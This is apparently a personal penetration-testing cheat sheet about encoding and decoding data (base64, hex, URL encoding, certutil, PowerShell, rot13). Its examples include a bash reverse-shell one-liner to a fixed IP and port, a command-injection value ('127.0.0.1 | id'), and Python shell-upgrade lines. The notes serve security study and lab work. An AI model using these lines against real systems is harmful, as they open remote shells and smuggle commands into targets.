akde/infosec

Information security is ultimately about managing risk


See https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639 as a base64 cheat sheet.

The clas­sic (base64 com­bines the bytes of the text and sep­a­rates 6 bit (2^6 = 64) and maps each 6 bit to a char­ac­ter. “=” means “two byte miss­ing”. For exam­ple, if the com­bined strings have 2 bit “left” (41.…), then (A==)

echo Hi | base64 -d

Con­vert hex into string

echo 098f | xxd -ps -r

Show all non-ASCII characters

grep --color='auto' -P -n "[\x80-\xFF]" file.xml

Con­vert ASCII/Hex string into ASCII

# echo -e "\x6C\x65\x6E\x67\x74\x68"
length

hurl — con­vert in many dif­fer­ent formats

hURL --HEX --esc --URL --DURL --HTML --BASE64 "127.0.0.1 | id"

Use a file for mass conversion:

while read -r line; do hURL --HEX --esc --URL --DURL --HTML --BASE64 "$line"; done < file.txt

URLen­code a string in the com­mand line:

echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.248/4444 0>&1'" | python3 -c "import urllib.parse, sys; print(''.join([urllib.parse.quote(c, safe='') for c in sys.stdin.read()]))"

Windows

Decode base64 string into a file

certutil -decode in.b64 out.txt

Encode some­thing in Pow­er­Shell into Base64:

PS> $Text = '...'
PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS> $EncodedText =[Convert]::ToBase64String($Bytes)
PS> $EncodedText

or

[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\path\to\file\example.exe")) > "C:\path\to\file\example.b64"

Rot13

Use this bash loop or Perl one-lin­er to decode a string from rot13 or rotN:

for shift in {2..40}; do
  echo "Shift $shift:"
  perl -pe 'BEGIN{$shift='"$shift"'} $_=join("", map {/[A-Za-z]/ ? chr((ord($_)-($_=~/[a-z]/?"a":"A")+$shift)%26+ord($_)) : $_} split("",$_))' <<< "f1MgN9mTf9SNbzRygcU"
  echo ""
done

More

Use CyberChef

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';